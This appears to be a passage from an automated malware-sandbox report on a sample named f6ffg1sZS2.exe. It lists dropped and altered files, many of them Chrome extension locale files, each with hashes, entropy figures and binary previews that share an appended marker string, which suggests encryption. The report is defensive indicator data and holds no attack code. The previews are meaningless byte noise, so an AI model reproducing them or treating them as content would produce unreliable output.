...I.{.d.D]"..c..3...H.y..+..W....l5...O`..9..D....4g..f.Mr.n..[H..;..]..28...?.M.>.6.X.....'

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705876468911994
Encrypted:	false
SSDEEP:	3072:9Qu/AydS+GL7GlnM6LF/8tljsXEosT3z4IUSowaWPdiSaGUr5VJ:2u4ydSxGn+lwXsZoWU1VJ
MD5:	495CC7BA29ECBB91BA33022D5C28EAE1
SHA1:	0BFF34D06C84F0B7AF6E73D21C8DC5BE8510698A
SHA-256:	8B90D0BBE6F26B25D1F4B95789BE15FA4BDA5C0DB74A9522BB7D04CA74DDEB43
SHA-512:	F0BFF712D724851420125E628BBA87AE61331C886A78CBCA228187D90C86751F508798A06FEBE7A337E7AC97CB7140C41E8D79EE373A79A72B76453C41CF9751
Malicious:	false
Preview:	............a.EC}...b..yH..].U.Sd"[...C.[./!O.~..H9..A.z..!.._.I&Z..-..]..E..>...x...I....f.RV...{A....b..y.B:....>..M..7i.=..WU{2/...]..{.L....B...o...K.~nO...L3&.[..9l.D.8<..y..@.?G..f.s q...r...V!^F..\.:.gY..%....5.R...S....(..;....-.t>....sS9.g.s........W.....I.c}%}n.0m..I..Ck\|f.3..........$..Y5.=..;K....H@....2w.....DBhpLI..Tt..`>:R..y...+..=}.+M\X..E\|..\..z.aIi4.a:.y..j..2.G.12.e'\r..UT.c%..9....:........%Z-.rA.N3hfu.?.....B...m).Z..2}..<.....;e....&-.7g...B.Y.7.(I.VB.[......Z..)......+_...=..).....BF.. 7..8f.........5.......$.....e....V.A.r...q[O.".^.j.U....$.X.4D.......+.k..u.:..PC.-..'...m...UN\|0\|; tt3oF.w.*.z.s..9.[.[\|....f.....@.C......(u......;...V4..N../"T)....=...;..C.i!.h..{..S....w..m....iq..../..........R...P...z.jj...f~.El.Kvt,....zu/.Gu...\|..^.ir....u.#N.$.]6..^Xe....:..3....j`s..:I...'...m..=>7;.9.;........\._....G.==.....0#j.W......Zm.A.\|..w...$..+.JA;....:...;O....M.....-:........A.A[}...K.R.?.0.q.$W.P...y.../^4

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.jfm

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988789467283355
Encrypted:	false
SSDEEP:	384:ML5Rn1yw/vkvVGRC4953tp3tUK+YHfIZ+l+eFrv79PvpMtHZS:Ch1yw/sERl53tVi8HfIZg+sL7d6Y
MD5:	676A6186A88D80B4600D568E69FB7F44
SHA1:	54685077895AB4917739009A83E0734F3EF43533
SHA-256:	0F690336CEC4B3FF7E264CB0B861FBE6E315B29ED70002B2B2B9637A6BF488F2
SHA-512:	5ACFBE8B34B74DBB49AAB0289DC3F938C922E9DFB5957153F949874BDE68696F95D05B2C13E006B8E5FC183142BC405F7B0119DFA2BB3E4C5FFF0E3CBAA4F4C8
Malicious:	false
Preview:	.....b..b{..]..-...By=).w.h#.C....~.J..../] FJA......\`}eMA.RR..Z.(...f.....X....^a%g...F..aj.^i.].d.=.....Gq.a..........J....n&..t......]....-HE`sA.N..d(...1....:.......UphZhrAY.3o.,H+j....N.....T.5........?...Xv.p..v.....o....-....A...aL.y.%PN..<Q6P.....O...%..e..`.....i.R..uU.'_\|.^rN...YiH.....`.mF;..3.....q..0I)...&..t.h...e.^.aw1.....E......ia.G/..d ..Z..?.T.v&43~b.N3.c.@..<....nbD%u.T..x..A.....\|...'.7..'...".......O.r0>...q.../.H....K}.^U........}{0.\.G...7i4....T.{..hU-..._.$k.I....Z.i....W..^y.i..7...\|:..P.v.].D;MB$......d..e.Vl...Od.{.x....6........w.}.....\|Cm.D.....T.'.x.. ....V.."BgGJ..G.H1.`J..VQ.z..\|9.....^L........2.s..s..%.......!X.....k....p...~..g.@N.!.Ib..#0.."@.kR......<.J.......=9.,..C..wqj.5...@i.. n1./.6....cW.c......9{..[.j........[.;...t...F.B.s..NeG.........`\|3b*['....,...&UTp.TP.u.O........!.H.....MA..$...l)..)}..I..[ :>.\|69..N..AC.!...t.s...6'9nN..!....[/...L.N.mw./.....%.Dy...a.K.~R@..~.......\|....F.g9.

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.vol

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7568399870700261
Encrypted:	false
SSDEEP:	6144:JKRxaJze254Bmdf8FvkbMMuULESa+d+gOrOuWxWk3m+cun4CfYjUfSUXivOYRqii:JXzeKWNlWXR3b0S
MD5:	ED810EA6564FD9FCDB1CB8018D2604B3
SHA1:	BFF814CC7D6ED3CD497D076BFEBB9669442A06F4
SHA-256:	B85AA7FB5058E17E0B15B8D8F06A2887FDA2225CB54E08C4237A51F7BC1FDF42
SHA-512:	1A7E095F054EF2E655F543B6D6B51D7CE8CC2E55C22945A94FEB03A7C2F45BE6D28BED4C12620D6A138FF050E860E80C7F1454FA09B9ED8A23B7733EE5AFD287
Malicious:	false
Preview:	.....[.$.z.f.....A.!.K5.RL..e/......I..Lx..."..=D....a...!.a.H.....$.+..R.....O.l..P.)..4l..D....z........H.^......1..D.[..b.J....O...@....r.c..L.}...3..0W........N!F,..........f]..F...-/..=..4co.. .l..a..7.....P......gl.{..!..x.}u...B1...D....N6x..NPL..d..a..X.j..z.Y..Oj.,....>o.....C+fE..RP/...Pg...,lM.B.^.C.o[..+.Ar.6..?.3?".J.\|......".d...g?.F4...I.....2."..ehp.dF.Q.\|.O....}CX.y.P@Z...A......y.h`.g..D...>..-;C[Sf.<i 4X.,.+.L."iu&...@..n.0..5AI[$R._9(.....J@./%...=.X.#..J.{I..L.#;.9+..5L...V.._b.....<S]Rl.^.j./l0.fpC.s$.6...MLz&F.w.'...;d.)@.5...][.L..,.....)..mH.....M.l...]6M..E.D........p...e......Ig...!x.=p.F.BMQx.}.K].....GBx...G$U..K.:^..Q...j....."\..".,.}kr............I.E.U..93C.3L.2n4...mf;..YR1..J.QWu...i3.g.\|{.J.oLi]...'J.n.2.`.~..gR#.-..z1.......D$n..AjUoFrFS.....X...._....a..1[L....)u)H..7.YsS..i..i....\A.W`..&j.p.O.v..3..a.CE...qD..d."..U.....A..M`.s.I......8..<..u.....i.L...$.BU..A!<-.....d2S......,..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.485560956535942
Encrypted:	false
SSDEEP:	12:q4CeyRyR8CNaRtp/PZYze1CJu3OvBweWQpktS2cii9a:Se8wVaRtTItJu3ywQKlbD
MD5:	9400BB7BF6960CAB7652C49996F8C5CB
SHA1:	D5AC8657FAB376D5E3DA649755F30F81696EF836
SHA-256:	4CCAF69082DC6E722F4516F31FAA31F88E968ECF67054F80F44A5E29188CF2C3
SHA-512:	D190998171E312C8345775F359B20B0EE0B0C44B834C9F7ED43CDE5B3968019C52D302A26253BFD596525475D25A13F261D38295486AEADF818A55C393AC5D62
Malicious:	false
Preview:	.f.5..w..6'm>.8b$W...#........8.#j-..H..E...~u.,[.H.\|.......h.Q...f]"...ipkm.O.G.&.).7....s<.<...a.G.e.F....r8..p3A........z.1.b...9...#..P.{....4.}I+........Q..R. ...q.&e......t..>..D-Zb...zH..g.O.pJl?..g..m...;.....(.).K?...\|{U.K...j7..,.....8O.3.....c.!v..L...\lL.i0.h..n....:.L\|.....A.4.....I./.-.&.......6`...<Q...A.G...B.[.wYqc..^..^.>.Pk.r...._...G....[9...u&D.A-........TLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.550362937139487
Encrypted:	false
SSDEEP:	12:qCPckx/kU+5+L6e1gNXKPvJtnmLIYTobsQF8S2cii9a:HcQ/kL+L1qNaJ9msYTf6kbD
MD5:	D3BA520B099A7D18DF50DA0CAB21DEC4
SHA1:	215DD8A89C8A14DEA6CC8972BFDB3E992B0DBE57
SHA-256:	918C87B3DFB039F6FC08CFBAA6A849C22BF4CB1079560FC6B21C35631B8518E7
SHA-512:	CF8FBAE064177CE9A7EBE691CA3840918640B4116B9CA1DCDC97385AB0772026FCD3B7FE3BF94BBA5C48F4D2C448E6CEBC68AC8D05408036BE438D9534F013D4
Malicious:	false
Preview:	.f.5.^.....0....Z..\.....<.!.`./^.....T..S...g.........Nf@2.....[....Z.l.W.P=..T.OU.g...8vT..4......S......R[...U...e.3.r.e.U..W.....}.l3T.a..".....^..~.....].W1..K(....J.WA25.Z..w._..A.mk..].S-..v..wf..3.......F..;G..B..W.Fj.1..S....t.....^..d.g...c....`h.......!...=..4.H<7...v.V..z....G..#.xr..?....e.$..5J..a..:.\..)n...&..2lX...`......!..+...f..q.a.ei....f..2+.#.b.....dk...$...I{.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.718587985865425
Encrypted:	false
SSDEEP:	12:qOd5uOOcBKnzrlAgfxd2GJn6Nfmj1kIiDCF8qReC8VZsZ8GRLK0igS2cii9a:ZzO6Alvddn6NeePGF8ZR+VK0iIbD
MD5:	6FC3616FB0B03540B39DC0CEBFDC6A54
SHA1:	8A1CF04E7B720A8E40687A542A49E5CF652AC6FB
SHA-256:	495E4C24D9B3649B5021CE963ECEA01CAAE9E79D274F41852F5A2D5BAFC3EE1D
SHA-512:	3AC09DDFD0700C881F60DB9AE457D245E7CDF3F990584AA61C009A01ECFA8000A0D49D3A05C5A4EF9DE8B2AB2ED4ABDB7D6103CAAC2249C685CD0F89DF9C1456
Malicious:	false
Preview:	.f.5......"}.Ag.9<.}.#. 5....l.....\..TS..jd]q...%si8.@d....y.v.....x.%..>.V..5L.7;...(+v.k.j..xC.....z.Q".5!.+%ri...........K...3.;.....h.........c.z.\|V.\|..3p..N`.n!d^y.R....T....F5...Q..@e...M..<a.aS.5.<J.@O....<.&!..^m5.%..'.a.D..\|,...0...J.B7p...E.z....+^.....=...]...p.p....\^g...(.B.c...r.{.....-.3............-.....>...]_TF...b.].{R6.._n.#=.Aq;.\|..&....A...........ELSN.Uc.s....\|..xt..o.@..Q..k..]:..Ta...U.f[".9.....6..:fu&..`b....%..h..{..2....^.P.).../..I8...Vz..m}K\.-Lc:i... .L+o..B.r..l..}."o...X.-.1...m.........CnA}<&.i........BK.,..U...X.;...WK....w.m..MI...~.8>....E....K/k.@.....'YJ.`-2z....]s".cB...I..^?]..<...D...;a~t9.kK...}.1` s..yb...{..G....W...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.669582686245495
Encrypted:	false
SSDEEP:	12:k0l5x5K3br585NtT9PDFImlxLhtifOQAQp/sjZ25gCna8dTrNxS2cii9a:hHx4XaLpDFIAhtMgKnj3LbD
MD5:	B2C41DEA25C3965108EE726B68CB20A6
SHA1:	E14CFAD7EB429E5486FBE5A83440DD015478EF64
SHA-256:	10F45BDF12AA319E49A99B1F4CC419BB6D60A762C3FA3A5FCB9E9AC00C94A1CF
SHA-512:	F1C05AAA023064EFD18AEA51CA3665CBC4BA9CBEBEB0BC28001F11F3CBA3951F7B0FA7696227E79CD25CD6F597A16680373AC73454071E2BD5255097CCD6BFD7
Malicious:	false
Preview:	2023/<w.(y......a@...g..7.:l..,.....c\N.S.z.,z..!.\|.Q......a..?...oB0..z....jv.b/..[.2..SLUpJ.y....Q.l.......E.\|........\iEij...w../._O.......0.........~...h~..yN...r..> ...g~b\.Z..k..r.D`X......p.]....k.....W...K..../.?..q^@......L. .......ss....<.So)..nO..=.bA.J.......7`...$).U.......g.4.....f...[.H..3..O..CB.. ....<...]....@].~...=.-.o...G...c....X.IM.R.H...I.......E..%..R.M?....G.i.i.Q..A......V.:m......g..}.L..3{.N.y....=.;W]...S.-.,7\|LV....N.....8..4.7..zt...@/.kb<.......E9.p..3..8(..4...!.....n..cp.kP=.4.kL....Q.y..^.....=LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sk\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	981
Entropy (8bit):	7.784449771451528
Encrypted:	false
SSDEEP:	24:zFIW3jq831iWs2ZvZ3YkBKztcT4LCkqvWPvRNRObyYbD:zml83caZ9YIKziGqvMRHg9D
MD5:	C58A9482DC610E49A4C16E0620536262
SHA1:	C32A5EE69B41B6EEAB1FB753FFC375EFBDE90D70
SHA-256:	755F3AA225900ED5143A6ADEA593847646B2F9D375481149FD2C29F4576AFD72
SHA-512:	E4EAC42D66DFB8D28329850232555B9D6164F64CFB8928D34CD2666E6557D7B3FE1F721A9BA861E1C5A220DCF4F12177C67DD04CDDA89F4435ADAE1C4B083D03
Malicious:	false
Preview:	{.. ....6....W.q...Z,].c.h[....#l.g.......)..XXp....j......Q...>.f..... :o...J......\......!.t.h.9...J6..6..z....4.D.j.....8H...(.....Q.1..3xJG...r..[r..w..:R..?3\..7/...)..H..ov.aS'....j....-O.c...m!........%z\|-A.GF(]..dxh..L"_...R.;..._D...5........{\d.....>.0-8H.......U~.+...Lk.j`Km$/.U0..WL..1]5....=##.]L..Q.....~@DX7D]q...7_..4....M....E...7Ma.\|...GJ;7O..........I.R..n....Jz..............+...^.....e.g.~.e..N..h.....KIV.t.M[.j.).i.R..d.8..Np..'..?`:...;.];>,...%.).....Qq^.y...iaN.H...-...F%l.w(..>.......\l.TW..6....<..5k.\|.&]..n.........!R#A.a...vO8/K....H...I.P.i.}.....6X...K.\t.._.r..m...l.g.4..<U../zN.\|9.H.Oz.....'.......9_5./.J..^..:a%....S..,............G.<.......F^.o.@g.y.....]z..c.=%....(=.o{..+..q...P...L...t....~..s.......Z.6..O......v..M..._=.s...n....V.....1.j.oq..$.......Y..p61Q.U..as..d.x8.[/1.GT`?.\...!.yb.~K)...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sl\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	951
Entropy (8bit):	7.798503463916499
Encrypted:	false
SSDEEP:	24:iKnKmCkchw0qaJSFewz6+FLQKxgku8NHv69gybD:JD+hwJaJaew7nxRHvqggD
MD5:	52E3C4B78AA61789940C7667EF6B69AF
SHA1:	58322B4C660E8C9119177C8394433774D331121D
SHA-256:	0E4CEAFEB31521CCE30AF7A4387820A7EA753B1ED4B88187EA130D11F7DD014C
SHA-512:	1BA12B3F43C30CDD38D6C1571196642DE56B007ADC38B103D6FB6E104BA8E11C8E5534DF1BEFC485BE48534ACC4D93023AF61C2BD6531AA65255A6C1064D6CC3
Malicious:	false
Preview:	{.. ....Z..R. ..eN.M..%......O.,W..S.>3.e..-...:#w..W................:.h..M..65.......ws...#.3....~.P(....'..&z y...........L...It.....3...om..b.Xhla.8Yk....Ky..<.......X..p#.E.._......#?...w....C3.{....=/.-O....C]n.\.....+...,..s..AC..c...[.1Y.%..f.....$..oN..'.::....DZ.....s..`.R...4P>e....9.u.....p@..H..s0.G..p.V....}...Z ....w....HJi..&>8....f`....D`@mM..Z}..\...\i.5~.... f.TT.E........=..e6.....sE..Z. ._K.....k..."\.[...J\F;.".]...c"...g.......X.&.2...@..0e.W.......8..>P..G>...H;.x.,...-J....i.\Pmj;S..2..#..89...7.p/U.V8p7]....>.G..g/.P.....N..nXf..g...x......../M....#.g......).Q...R..z.u:...q.p'....Pc.y....<.SOX.JV[z.;\|EnG.WO..p..%e=..@v...~.$P..Y...w.e`d.......C-w....r....N...=....C$.2..[s=...s.wG.Wo..j..V..S....Z.H...K)n....`.o.....]@..K.\.?......cw....<....4......_...Wxy[..P....F1<....C..d....J..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sr\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	7.799083798163951
Encrypted:	false
SSDEEP:	24:35Z8llrtg6c8f7Z8O/1MZkRgUOwk6ZCAj/eL/HgkybD:pCl88jZ9gkRgUOo/aokgD
MD5:	521FDCB9FB5E55134AFED0770B67C154
SHA1:	589CCD47FEE1785EC26FDEBD6BD186E44A29EB0A
SHA-256:	61C0A5CAB9B120EAA4FF66B4B3C6F101F0C28E9D963E4CEBF2F491FEB7BE90F8
SHA-512:	F4DAB7375EFB6B9E16784BB98AE7F9FA4E3A5234A95508DFC79BBDF06ED3D0300A17A9C9FD82B5097A7F8E68A485634B821BD21CA6CBF84A3AF70F61145EECC6
Malicious:	false
Preview:	{.. .92..8E5I.X........W..#)4T.}...^.....k....\|....G..5.....>....K..>...l.X....GiN~.........5...X .....-.in.k....7d3P...P...+..w<.j..'@...N}..c.....V&..`.120....To..8.}.3.3/.......\=........$G..]..z%%k8.....LQ.E...L......(...o.=....\|.h........PLk.5.<ZeJ..Z#y3..H.k.............g....i..... ......H..0..yB....."...H."+"S<Sg.G.B.J..A._i/..E...=w`.d.a.v.P...-.....d.o...SDkLD.(o..R....Ql.V......GhoOJ.T.M]s.3......b>..-....#...5V.........1c..<..@,....)..R.VF0r>-y.d.E~".pz9..IG..7.../...`..f..xg.[8.`....N...}.D.............).._P,._.z....4..x...X.^"uZ,...xR.. .....o.4..xf.{...e....q.....W=c....5...p..>..TWR...v..C....@.....$!.=....u...q.:.8..}...HOCPAVf.EKOaxa.<....5.?;m.=.......s).Y...w.)L.,..r/.{.\|.\|.....LD@D.9...<wpA..=y...v..C.g\|`......s.4&.i.?yZ...X......{\|0d:..\..b...S....8L.)...-.?.."i....Z9~...........vZ..0.+W.E..v..0v$..c......X......?R...6.M..-......<....e.;...2d<1......R.....U.h....JZ.d.8]....hD...:..=.....*.}. 8.AC...I......L

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.787106096707447
Encrypted:	false
SSDEEP:	24:GqnajTjOAqahrYO9Nbsiu55ouaew6b/rbD:mlCO9Gdouc6LPD
MD5:	8227DB33147BEDB1D89B51D8DC092498
SHA1:	665A7FE5C1C07026F674C807CFA03F12A7BBC06F
SHA-256:	385C9E5FAC8DD7AC4E7A0FD772AFA73E46B6BB19D0B2E4371EBE4163D7B70A4F
SHA-512:	44BEE863C590A3ECBACFA04914D274E2320D51D3352F15B30ADF9A73662EBDFA9DA7B412F0A14970F1C177F19A9E1EEA109F2E495CA77C6697AE6382C93D8D6F
Malicious:	false
Preview:	{.. !hQ6)....=..zY.W.I:.P..^.^.....h.-V...t.....P(.&.A..Z...h.~..g~...;..."{.8...D..=..........Y6^.[.......8..7.[F.tJ.M.......N.0@)...9..#....5.mO.x..\|.Z!....<...R>..S.u......Q.q.....)....... ......\6..........=...qa."K..\|..V.`.w..NO..A.[/....G....:.4%..'.._..{@.....s.K..Q]....v@.Q....#.0......a..).A.....I;...".....3.]....4.W0...d..)..I..4........@....\..z.....?2..y...Ya..Oh.&n.4'...#U.US....a+N.).Z..;...\.L...l{..#..1....p..&....y.Y....^.8G:....&...H....u.!).b@.?.n...\|l.>../D..#..r..y]..?.hPl5.<.7.....'i...S:...M.m....4..b3....1...-)....../b..5.).$..6..0.G.1........%..9....p.l.l0V.j..a~...R..v.h..o(..>.;.TL.SqS..1.l.....[..sO.g.$..'o.y.=I...I.I...Bg?Q...]......../...+S..i....Hg.0."q..].".k.G....^.a.=.(g3W.'...~.....X2.M....]...[m. ]5.X...\|{..12$1....^.._&.'..^{.I...<.F..........'e..VO..)h#..b..K...D....K.RZ.8<..OU..@....FX.C... LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\th\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	7.856529117057775
Encrypted:	false
SSDEEP:	24:vEi5AoyjLGDyNfnkSZJp56oRiUAUskyV7woWizhN64cjT5rFOymLoybD:8EMb1xT/nDFy1Tt9tcjVz8ogD
MD5:	485BF800543F9D9EF667BB289A5B742F
SHA1:	92689F95C38AAAD100D3B277F3701FA877950D01
SHA-256:	D35A483BD80EFB83C840EACCA4F182154B7D4E1AB97769FC2E5A12D3653DABC8
SHA-512:	9B0E219E8AF7933A5898DA1E675218E0A9688C98CB99F25310C718066D623BEAC1B38DC8FF0A78B504A7E4EBBFAE15F44D578F26BC2D5397C01AA3A087E0E0B0
Malicious:	false
Preview:	{.. .....q..$\|...s.r.L.qK..d.:Gz....M..F..PM....W.(O.8.Me..w...<{N<.gS...!n.5......>@.z....;......XO.-.C.;......5.._...ga^).......?.1=..L..<.\|~....(P)H/7..Y.._....'...-.F8...J....3N+z.E.a.S.o./z./ .RN.5H....:....m3(...#:..3{....[.>..d\1..9..l.s.A...........nT.O.y...Ej..ME...u.'..jN.C..[.<.b......?...S..q.F.... h.9.+ ..].w.i.Q...*..ZI..bk.....l..5..U....p...:..'C.Y.9..G\yz..7..k.$..`.....f!.t.p........:.[.....m...#~.#+\|.T%..P..3.I.....@k...~r.f;6<.....].z\|.=.+.../.L^..5.B.....E......!.....T9..{....}yl... .K.....?^..%t...../.iv.a ..w...4.....9...#..U.A..~?..%..h..<.....J.[..Bl.[.P:.oQ._J...E..s.}..........J...\qzZ.T.W..<.L.P......t....^...zV........d,..+....%........f3$Z..v\.>$...}...wc..M.%...;>..%....>FI.x.W\3WWx&+<.%y.y..F.TL...m=.d.i.W.^....s..EKw...u..[.x..O.Q.!... QV.R..wpz<k.....!..!.Kw.\|U..UA.[.../V.7...~....&CCd..m.0.6....0..d.DF.....8.....4.X++^^....Q.o....v....M.i..;p....P\|.Q..w`...n.H.'....-.{...U......Kj..t=..:\|.t

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\tr\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.737186781246519
Encrypted:	false
SSDEEP:	24:9FPjI8A6ipWSzKWZwcmm1690PCqH7ZltL0Z8a+c4AN8rhA2tlkPvbD:085kWSO4E906g1lVO86N8rWUmD
MD5:	4424CCEF988269E5D1818BEFEB9F5AA0
SHA1:	684D14D68DFD1A579366EBA29C6C45D7B467893F
SHA-256:	10016CC78022B11048298924A4A664492DB47847BF77B4E0CA4F8E46DA83E8CA
SHA-512:	0345D511D9025891C1243714887F9EF8D1970E9B119FF37027581EA39E66FBE913BFE7DA8A30A0148C35E20FC3DFFDCE49B7A6872B0A763C6BB98DDF369B5867
Malicious:	false
Preview:	{.. .s@....[3..T:w\|....q...W\.9ki6I.....p.xUG...dgNt....<....E.30V.0....m.v....#d...k.={...M~..Okd.}.yq.n1.sc.lTW..3.1.....E..&,.%...+....L.x..(.6...:.\.\.o...<+(.5.q1vG...)..:..6...x.6..I.{b../..X....}..[..u..}Di6z......\|...V..\|..).\|.vL.fXq....y....3..Lk.....-.&.3.........2.m.[R.T...`@./..TL...}ro'...AI..}l.R..P#.QO#.......s....DL.h(...._.......&..Z..?B%...b...^.../..?.K.........Z..d"E...Mfx..G..^..4...u....~i9.3...i....3'.5?0..-..de...iS..s.....P..j....l.hR6._R.@\..'...) ..mi&s#.V$.S.?...}..f.L.mf/.e...5.....]Wa4.p..d..,g!E.gq/.S......^c. .p....>...d...B2.S..Udd..x..l..f...k.........0.".T...8[ln.Y.I.....#jt.7k.....C...1!..'..v.-......c.]<cO.t<.9;...TK.d..<..M.s.M.....?.,x.i"..}.MQ.....D}........u+.+....#..@sk....3.n.....WP..5...h...w8...c.LF...<f.mv....$R......q.r<F...i4.....15u....t].O..1X..."....Mv$F."R5.dcv+.c+1.p..K..v..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	7.795923529338538
Encrypted:	false
SSDEEP:	24:kXqwea+udvi0m8Ose9iDG6/KSpzJNjWriHLPeCggfRbD:kabJudvi0mTBReDp7Kr6L7D
MD5:	31D73663ED1DE5CFDA4C125B1C767E4F
SHA1:	1D49582EDFC69E54016289E57C833E9BB572947B
SHA-256:	87D78E7E69DD79699EDE2AA2AD6B922A11DD4A211B79C073457940E10D850E11
SHA-512:	4C68156DB0D88B5D7C27E768E7A9071DF532705EBBE133B9DAF9E91273AF9F695C5ABA8B99D37AFF0E21E84E6ACCD76C4C3E6053238E19CB72829954BEF64306
Malicious:	false
Preview:	{.. [...>N...,.[. \Mus;...j.....5...HJ!n.O#<......L...}C.Qi...n..~<.a....89A..yD4..w.?m.Y.X/.h.Rx....y$QC...R.~.h....2{..6...Z.C.........1......\...Pw<..[Z.[/...n{.f.K, ...k...&o.....G...u.......\|..=.{..R@.H..fQN.......j. ......a....._.1...`....R.._..$.D....U./PW!EZ...1.g.T..D....]m.-..}..D...<u3o..v...q...b..R..?.`'r..../B..].......)@...Y.d..Q.>._....zr.....{.8..$F......4..l.@]...j..y.X.gd.ADsE..s....M.lF..Q..UL....o.I..G:.p+.(.z...,m.....!..\|..b..t...1.....l...y..[......GYz.;e]N..X.."K(....tTc...!.j..$G.......9 X.lQ<{...Q.Nf...@...`..,b.")...<.H...'/v..tK'.....y...h....:..U...l..UJ.SI..`...E..Z...fN...!.1_"+......A.k...\".n.<.l...Va..M...1w`Dy@".....~C...98.:9.).../...5.$..s[..%.)......G..U.-...76t...6....69U..p..\|u.......<.$.3.Z.....kL......q..@......,.._.....]0p7...r.-..."b.).OU.k.`...o.;...}`...o...a. L^.$s;.....$k....T....B..J......o=.Wf..W:.. .Y."T8.....n."..r...].Ll.S`...p8.BT.M..W....J...d..LQbDo3EfIVHxGuJOWRJdmxgY

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\vi\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.813567703371764
Encrypted:	false
SSDEEP:	24:/7vxyCh2N5wdjKKxNJDQJjXJi1MZiigArAJsGbD:jvxyChSS/QJjXY6ZiilAJzD
MD5:	683C7308EE318C5769AE26D235DB7010
SHA1:	92E9C030032EBF820E6F3564B8D02F0E95FE6BD1
SHA-256:	43613765AD5CF8867449528A58D1C0C4A255E2E85B86C0D4E9747F9E0017F72C
SHA-512:	8847004F5F21EB2A2C1869960049D21D0ADAB0B79771E7143915297C1312C5315E343E3730FD42CDBC097BD095AB54B91849899A4C4A1D4200FBA61024517BAB
Malicious:	false
